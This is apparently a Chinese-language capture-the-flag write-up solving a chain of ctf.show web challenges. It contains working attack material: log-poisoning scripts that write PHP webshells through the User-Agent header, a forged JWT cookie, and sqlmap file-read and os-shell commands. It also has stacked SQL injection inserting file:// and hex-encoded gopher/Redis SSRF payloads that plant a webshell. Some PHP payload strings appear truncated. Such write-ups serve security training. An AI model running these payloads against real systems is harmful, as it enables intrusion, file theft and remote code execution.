payload
后台目录扫描发现page.php,什么,没有扫到,那就自己添加到扫描器的字典里吧。
page.php?id=flag
字典生成
import string
s1=string.ascii_lowercase
s2=string.digits
f=open('dict.txt','w')
for i in s1:
for j in s1:
for k in s2:
for l in s2:
for m in s2:
p=i+j+k+l+m
f.write(p+"\n")
f.close()
登录的时候抓包爆破
几率是676000分之一。。。。。还是在用户名如果真的是admin的前提下
payload admin xy123
扫描后台得到/install
按照他说的访问install/?install
然后再去登录,如果大家上面题目用sql注入注出用户名密码会发现是admin admin888
登录就能得到flag了
通过扫描后台发现clear.php和install
访问install
访问clear.php直接显示清理完成
盲猜一波file参数,删个index.php试试
哎呦还真可以
那直接把lock.dat删了,lock.dat在linstall下
剩下的就是上一题的重复了。
访问install/?install初始化账号密码
然后admin admin888登录
接着扫描后台发现/debug,访问提示file not exit,那我们给他一个参数
存在文件包含,尝试包含日志,发现可以成功file=/var/log/nginx/access.log
那直接在UA里面写一句话就可以了,然后再包含日志
发现没成功,但是在源码里面看到如下内容,也就是传的参数没有被结束
那我们直接利用php吧dat文件删除是不是就可以了。
写入如下内容
unlink('/var/www/html/install/lock.dat')?>
然后再去访问install/?install,发现确实成功了。
剩下的就是登录拿flag了。。
非预期解,可以写日志但是做了一些限制,所以绕过就好了。
payload:
import requests
import base64
url="http://fb707431-ebb7-41c8-9ce7-57da16163fec.chall.ctf.show/"
url2="http://fb707431-ebb7-41c8-9ce7-57da16163fec.chall.ctf.show/debug/?file=/var/log/nginx/access.log"
cmd=b""
cmd=base64.b64encode(cmd).decode()
headers={
'User-Agent':''' /var/www/html/b.php');?>'''.format(cmd)
}
print(headers)
requests.get(url=url,headers=headers)
requests.get(url2)
print(requests.post(url+'b.php',data={
'1':'system("cat alsckdfy/check.php");'}).text)
预期解参考视频https://www.bilibili.com/video/BV16A411W7GP
在上题的基础上整了个jwt伪造
类似于web377 https://blog.csdn.net/miuzzx/article/details/111936737
然后将得到的jwt串放到脚本中
import requests
import base64
url="http://bf2e6fca-c437-4f5b-90c3-75b4087cfdc5.chall.ctf.show/"
url2="http://bf2e6fca-c437-4f5b-90c3-75b4087cfdc5.chall.ctf.show/debug/?file=/var/log/nginx/access.log"
cmd=b""
cmd=base64.b64encode(cmd).decode()
headers={
'User-Agent':''' /var/www/html/b.php');?>'''.format(cmd),
'Cookie':'auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYxMDQ0MDA5MSwiZXhwIjoxNjEwNDQ3MjkxLCJuYmYiOjE2MTA0NDAwOTEsInN1YiI6ImFkbWluIiwianRpIjoiYzNlM2U5NjQ4OGI3NWY0MzY4YmE4Njg0ZTRjZWJlZTQifQ.hEV8CkkdvhKsNL_OrssrBzjzstVhq7_sQNefiuplSqU'
}
print(headers)
requests.get(url=url,headers=headers)
requests.get(url2,headers=headers)
print(requests.post(url+'b.php',data={
'1':'system("cat alsckdfy/check.php");'},headers=headers).text)
在page.php页面存在sql注入
sqlmap一句话搞定
python sqlmap.py -u http://fdbabc63-b2f3-4050-8b2e-9f5ee609119a.chall.ctf.show/page.php?id=2 --file-read /var/www/html/alsckdfy/check.php --batch
运行完会将文件保存在你的本地,直接访问就拿到flag
注入点不在page.php了,在输入标题的地方(随便点个页面就能看到)
继续sqlmap
python sqlmap.py -u http://042a780b-dfd3-4bd9-861c-81661b2915e0.chall.ctf.show/search.php?title=1 --file-read /var/www/html/alsckdfy/check.php --batch
flag在/flag
python sqlmap.py -u http://175efaca-626f-46a6-bddd-68246b90c5f5.chall.ctf.show/search.php?title=1 --os-shell
还是先用原来的方法直接进到shell里面,发下不行,读文件也不行,然后试了下–sql-shell可以成功。
但是也是无法使用load_file 和outfile。那我们看下和上个题的界面有哪些不同。
在最后面发现有个搜索引擎
随便访问一个发现其实是读取的百度的前端代码。那么如果把地址改成file:///flag,或者自己再添加一个url是不是就可以了。
先利用sqlmap跑出来数据库的表名列名
payload:
search.php?title=1';insert into link values(10,'a','file:///flag');
(在search.php页面存在堆叠注入)
然后访问link.php?id=10
就能得到flag
直接读flag,flag在alsckdfy/check.php中,在上题的基础上过滤了一些字符,但是可以用16进制绕过。
payload:
search.php?title=1';insert into link values(10,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870);
16进制为file:///var/www/html/alsckdfy/check.php
然后访问link.php?id=10
攻击redis服务,fastcig
就是把上面的16进制改成攻击redis或者fastcgi的payload
然后访问下就可以了
但是前面要做一些工作,题目中的url字段默认长度最长为255所以我们需要修改下,
payload:
search.php?title=1';alter table link modify column url text;
然后就可以打相应的服务了。具体可以参考ssrf篇的360。
发下我的payload吧
search.php?title=1';insert into link values(11,'a',0x676f706865723a2f2f3132372e302e302e313a363337392f5f2532413125304425304125323438253044253041666c757368616c6c2530442530412532413325304425304125323433253044253041736574253044253041253234312530442530413125304425304125323432382530442530412530412530412533432533467068702532306576616c2532382532345f504f5354253542312535442532392533422533462533452530412530412530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343325304425304164697225304425304125323431332530442530412f7661722f7777772f68746d6c2530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343130253044253041646266696c656e616d65253044253041253234372530442530416162632e706870253044253041253241312530442530412532343425304425304173617665253044253041253041);
然后访问link.php?id=11就会生成abc.php 密码是1